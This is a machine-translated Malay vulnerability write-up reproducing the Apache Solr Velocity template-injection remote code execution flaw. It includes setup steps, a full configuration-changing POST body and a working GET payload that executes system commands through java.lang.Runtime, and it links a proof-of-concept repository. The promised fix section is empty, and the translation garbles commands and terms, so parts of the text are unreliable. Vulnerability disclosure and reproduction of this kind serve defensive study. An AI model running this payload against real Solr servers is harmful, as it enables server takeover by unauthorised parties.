Pengenalan 0x01
Solr ialah pelayan aplikasi carian bebas peringkat perusahaan yang boleh menyediakan perkhidmatan luaran melalui antara muka API perkhidmatan Web. Pengguna boleh menyerahkan fail XML dalam format tertentu ke pelayan enjin carian melalui permintaan http untuk menjana indeks mereka juga boleh membuat permintaan carian melalui operasi Http Get dan mendapatkan hasil yang dikembalikan dalam format XML.
Pengenalan Kerentanan 0x02
Komponen VelocityResponseWriter wujud dalam Solr Penyerang boleh membina permintaan khusus untuk mengubah suai konfigurasi yang berkaitan bahawa komponen VelocityResponseWriter membenarkan Memuatkan templat yang ditentukan menyebabkan templat Velocity menyuntik kelemahan pelaksanaan perintah jauh Penyerang boleh menggunakan kelemahan ini untuk mendapatkan kebenaran pelayan secara langsung.
0x03 Skop Kesan
Apache Solr 5.x - 8.2.0, versi API konfigurasi wujud
Pembinaan persekitaran 0x04
Pasang persekitaran java8, dan kemudian muat turun Solr, alamat muat turun:
https://www.apache.org/dyn/closer .lua /lucene/solr/8.2.0/solr-8.2.0.zip
Selepas memuat turun, nyahmampat dan masukkan direktori bin untuk melaksanakan./solr mulakan
nyahzip solr-8.2. 0.zip
Sesetengah mesej amaran akan muncul semasa permulaan Kami boleh menghapuskannya dengan mengubah suai fail solr.in.sh di bawah tong dan menetapkan SOLR_ULIMIT_CHECKS kepada palsu
<.>vim solr.in.sh Kemudian mulakan semula./solr start Jika root startup gagal, tambah -force pada penghujung Akses http://ip:8983 dalam penyemak imbas, dan antara muka berikut muncul, menunjukkan bahawa pemasangan berjayaTetapi didapati teras tidak boleh dibuatKami mula-mula memasangnya secara manual dalam /server/solr Cipta folder new_core dalam direktori /, kemudian salin direktori conf di bawah /server/solr/configsets/_default/ ke direktori new_core, dan kemudian klik CiptaKerentanan 0x05 muncul semula
Selepas mencipta Teras, lawati untuk melihat sama ada fail konfigurasi aplikasi boleh diakseshttp:/ /ip:8983/solr/new_core/configApache Solr menyepadukan pemalam VelocityResponseWriter secara lalai Nilai lalai params.resource.loader.enabled dalam parameter permulaan pemalam ditetapkan kepada palsu, tetapi tetapan penyepaduan boleh diubah suai terus melalui permintaan POST, menetapkannya kepada benar, dan kemudian Anda boleh membina permintaan GET khas untuk mencapai pelaksanaan kod jauh. Gunakan Burp untuk mengambil pakej halaman ini, bina permintaan POST secara langsung dan tambah data berikut { "update-queryresponsewriter": {" permulaan": "malas", "nama": "halaju", "kelas": "solr.VelocityResponseWriter", "template. base.dir" : "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true"
} } Seterusnya kita boleh membina muatan untuk melaksanakan RCEmuatan: http :// ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class. forName(% 27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName( %27java. lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream ()) +%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end Alamat POC: https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template
kaedah pembetulan 0x06>
Atas ialah kandungan terperinci Contoh analisis tentang kerentanan RCE suntikan templat halaju Apache Solr. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!